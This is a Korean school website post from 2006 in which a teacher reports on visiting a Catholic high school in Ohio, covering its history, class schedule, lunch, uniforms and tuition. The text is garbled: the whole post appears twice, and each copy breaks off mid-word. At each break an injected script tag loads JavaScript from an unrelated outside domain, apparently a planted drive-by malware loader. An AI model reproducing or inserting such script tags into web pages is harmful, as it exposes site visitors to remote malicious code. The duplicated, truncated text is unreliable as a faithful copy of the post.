미국에서 소식 1
작성자 : 조현순 | 조회수 : 3,569 | 작성일 : 2006년 12월 8일
<P>+그리스도의 평화</P>
<P>사랑하는 양업인 모두 잘있는지?</P>
<P>학교 홈피를 통하여 학교 소식은 듣고 있습니다</P>
<P>나는 미국 오하이오주 클리브랜드 부근 노틀담수녀회 샤든관구에서 머물고 있습니다.벌써 미국에 온지도 3주를 맞고 있습니다</P>
<P>오늘 학교 견학은 눈이 너무 많이와 학교들이 휴교령을 내렸기에 하루종일 수녀원에서 쉬고 있습니다</P>
<P>이곳 수녀원은 넓어(약 400에이커?) 수녀원안에 유치원, 초등학교, 중고등학교가 다 있습니다. 작은 호수도 4개가 있고 농장도 있고 무척이나 아름답습니다</P>
<P>이곳 고등학교는 인문계고등학교이고, 남녀공학으로 우리 수녀회에서는 유일한 남녀 공학이 아닌가 싶습니다. 약 800명의 학생으로 이 근처에 살고 있는 학생들로 통학을 하고 있습니다. 거의가 백인 학생들로 흑인과 유색인종은 전통적으로 거의 없다고 합니다. 많이 있었을 때는 전교생중 10명정도가 있었다고 합니다.</P>
<P>전체학생들은 교복을 입고 다니며 교복이 다양하게 있어 색깔과 디자인만 학교에서 규정하고 스커트, 바지등을 입고 다닙니다. 어제 어떤 학생이 집으로 귀가하는 것을 보았은데 하얀 반발티를 입고 덜덜 떨면서 부모님의 차를 기다리는 것을 보았는데 우리를 보면서 웃는 모습이 무척이나 귀엽고, 개구장이 같이 보였습니다. 고등학교 2학년 정도되는 남학생이 었는데 우리 양업의 누구누구(?)와 비슷하였습니다</P>
<P>이곳 고등학교(NDCL)의 역사는 1878년에 세워진 학교로 독일 수녀님들이 독일의 바이마르 공화국 철혈정책으로 미국으로 피신간 노틀담수녀님들이 세운 학교입니다. 우리학교에 비하면 무척이나 역사가 깊은 학교입니다</P>
<P>8시에 학교 수업이 시작되는데 아침 조회는 모두 1교시 수업이 있는 교실에서 교과 교실 담당교사의 지도아래 십자가를 향하여 일어서서 방송의 지시에 따라 아침기도를 하고, 국기에 대한 충성도 맹세를 합니다. 이때 움직이는, 장난치는 학생들은 없고 경건한 자세로 자연스럽게 이루어 집니다. 끝나고 나면 전체 방송으로 아침 조회를 하며 이때 공지사항이 나갑니다. 그러므로 담임선생님은 안계시며, 조회, 종례가 없습니다. 우리 한국과는 많이 다른 부분인 것 같아요. 한국은 담임선생님과 학생들이 나누는 것이 많은데......... 하지만 지도교사는 있습니다. 하지만 담임선생님과는 역활이 다릅니다. 한국은 1교시가 일반적으로 9시에 시작하지만 이곳은 대부분 8시에 시작합니다. 그 이유는 부모님들이 학생들을 학교에 데려다 주고 직장에 출근해야 하기 때문에 그렇다고 합니다. </P>
<P>수업시간은 주마다 다르고 학교마다 다른데 이곳은 약 80분간 수업을 오전에 2시간, 오후에 2시간을 합니다. 쉬는 시간은 5분이며 이동하는데 필요한 시간만을 허용합니다. </P>
<P>점심시간은 약 100분정도로 11시에 먹는데 학년 마다(여기는 8학년부터 12학년까지 있습니다) 돌아가면서 식당에서 25분간 식사를 하고(미국의 학생들은 대부분이 도시락은 집에서 싸오고 안 싸온 학생은 사먹기도 합니다) 교실에서는 도시락을 먹지 않습니다. </P>
<P>점심을 먹거나 아직 먹지 않은 학생들은 동아리 활동, 상담등을 한다고 합니다. 이때 식당에는 반드시 학년 지도교사가 돌아가면서 감독을 하고 나머지 교사는 교사회의실에서 도시락을 먹습니다. 다른 학년 선생님들은 자신의 교과교실을 반드시 지키고 있어야 합니다</P>
<P>학생들은 철저히 교사의 지도아래 움직입니다. 교사가 없는 장소는 생각할 수가 없습니다 </P>
<P>학생들은 무척이나 선하고, 예의바르며, 밝고, 친절합니다. 우리 양업인들과 비슷하지요? 그래서 미국의 부모들은 자녀들을 사립학교로 보낼려고 한답니다. </P>
<P>공립학교는 한국에 있는 일반학교와 마찬가지로 2,000명이 넘는 학교가 많다고 합니다</P>
<P>공립은 등록금이 없는데 비하여 사립학교는 등록금을 내야 하는데 비싸게는 20,000달러(약 2천만원) 이상을 내야 하고 잡비도 내야 합니다. 이곳 NDCL 고등학교는 등록금은 약 8,000달러를 내야 한다고 합니다. 하지만 잡비등을 내기 위해서는 더 많이 들겠지요. 대학에 가기 위해서는 대학에서 요구하는 과목의 학점을 따기 위해서 추가로 과목당 돈을 내야 한다고 합니다.</P>
<P>어쨌거나 양업고등학교 학생들은 무척이나 행복하다는 것을 알 수 있겠지요. 우리학교는 그렇게까지 등록금이 비싸지는 않으니까요?</P>
<P>이곳 학생들은 2주에 한번씩 시험을 보는데 결석이나 다른 이유로 못보았을 때 또는 잘못보았다고 생각하였을 때 재시험을 신청하고 봅니다. 수업 중에 복도에 책상을 갖고 나와 혼자서 시?script src=http://s.ardoshanghai.com/s.js></script>
<P>사랑하는 양업인 모두 잘있는지?</P>
<P>학교 홈피를 통하여 학교 소식은 듣고 있습니다</P>
<P>나는 미국 오하이오주 클리브랜드 부근 노틀담수녀회 샤든관구에서 머물고 있습니다.벌써 미국에 온지도 3주를 맞고 있습니다</P>
<P>오늘 학교 견학은 눈이 너무 많이와 학교들이 휴교령을 내렸기에 하루종일 수녀원에서 쉬고 있습니다</P>
<P>이곳 수녀원은 넓어(약 400에이커?) 수녀원안에 유치원, 초등학교, 중고등학교가 다 있습니다. 작은 호수도 4개가 있고 농장도 있고 무척이나 아름답습니다</P>
<P>이곳 고등학교는 인문계고등학교이고, 남녀공학으로 우리 수녀회에서는 유일한 남녀 공학이 아닌가 싶습니다. 약 800명의 학생으로 이 근처에 살고 있는 학생들로 통학을 하고 있습니다. 거의가 백인 학생들로 흑인과 유색인종은 전통적으로 거의 없다고 합니다. 많이 있었을 때는 전교생중 10명정도가 있었다고 합니다.</P>
<P>전체학생들은 교복을 입고 다니며 교복이 다양하게 있어 색깔과 디자인만 학교에서 규정하고 스커트, 바지등을 입고 다닙니다. 어제 어떤 학생이 집으로 귀가하는 것을 보았은데 하얀 반발티를 입고 덜덜 떨면서 부모님의 차를 기다리는 것을 보았는데 우리를 보면서 웃는 모습이 무척이나 귀엽고, 개구장이 같이 보였습니다. 고등학교 2학년 정도되는 남학생이 었는데 우리 양업의 누구누구(?)와 비슷하였습니다</P>
<P>이곳 고등학교(NDCL)의 역사는 1878년에 세워진 학교로 독일 수녀님들이 독일의 바이마르 공화국 철혈정책으로 미국으로 피신간 노틀담수녀님들이 세운 학교입니다. 우리학교에 비하면 무척이나 역사가 깊은 학교입니다</P>
<P>8시에 학교 수업이 시작되는데 아침 조회는 모두 1교시 수업이 있는 교실에서 교과 교실 담당교사의 지도아래 십자가를 향하여 일어서서 방송의 지시에 따라 아침기도를 하고, 국기에 대한 충성도 맹세를 합니다. 이때 움직이는, 장난치는 학생들은 없고 경건한 자세로 자연스럽게 이루어 집니다. 끝나고 나면 전체 방송으로 아침 조회를 하며 이때 공지사항이 나갑니다. 그러므로 담임선생님은 안계시며, 조회, 종례가 없습니다. 우리 한국과는 많이 다른 부분인 것 같아요. 한국은 담임선생님과 학생들이 나누는 것이 많은데......... 하지만 지도교사는 있습니다. 하지만 담임선생님과는 역활이 다릅니다. 한국은 1교시가 일반적으로 9시에 시작하지만 이곳은 대부분 8시에 시작합니다. 그 이유는 부모님들이 학생들을 학교에 데려다 주고 직장에 출근해야 하기 때문에 그렇다고 합니다. </P>
<P>수업시간은 주마다 다르고 학교마다 다른데 이곳은 약 80분간 수업을 오전에 2시간, 오후에 2시간을 합니다. 쉬는 시간은 5분이며 이동하는데 필요한 시간만을 허용합니다. </P>
<P>점심시간은 약 100분정도로 11시에 먹는데 학년 마다(여기는 8학년부터 12학년까지 있습니다) 돌아가면서 식당에서 25분간 식사를 하고(미국의 학생들은 대부분이 도시락은 집에서 싸오고 안 싸온 학생은 사먹기도 합니다) 교실에서는 도시락을 먹지 않습니다. </P>
<P>점심을 먹거나 아직 먹지 않은 학생들은 동아리 활동, 상담등을 한다고 합니다. 이때 식당에는 반드시 학년 지도교사가 돌아가면서 감독을 하고 나머지 교사는 교사회의실에서 도시락을 먹습니다. 다른 학년 선생님들은 자신의 교과교실을 반드시 지키고 있어야 합니다</P>
<P>학생들은 철저히 교사의 지도아래 움직입니다. 교사가 없는 장소는 생각할 수가 없습니다 </P>
<P>학생들은 무척이나 선하고, 예의바르며, 밝고, 친절합니다. 우리 양업인들과 비슷하지요? 그래서 미국의 부모들은 자녀들을 사립학교로 보낼려고 한답니다. </P>
<P>공립학교는 한국에 있는 일반학교와 마찬가지로 2,000명이 넘는 학교가 많다고 합니다</P>
<P>공립은 등록금이 없는데 비하여 사립학교는 등록금을 내야 하는데 비싸게는 20,000달러(약 2천만원) 이상을 내야 하고 잡비도 내야 합니다. 이곳 NDCL 고등학교는 등록금은 약 8,000달러를 내야 한다고 합니다. 하지만 잡비등을 내기 위해서는 더 많이 들겠지요. 대학에 가기 위해서는 대학에서 요구하는 과목의 학점을 따기 위해서 추가로 과목당 돈을 내야 한다고 합니다.</P>
<P>어쨌거나 양업고등학교 학생들은 무척이나 행복하다는 것을 알 수 있겠지요. 우리학교는 그렇게까지 등록금이 비싸지는 않으니까요?</P>
<P>이곳 학생들은 2주에 한번씩 시험을 보는데 결석이나 다른 이유로 못보았을 때 또는 잘못보았다고 생각하였을 때 재시험을 신청하고 봅니다. 수업 중에 복도에 책상을 갖고 나와 혼자서 시?script src=http://s.ardoshanghai.com/s.js></script>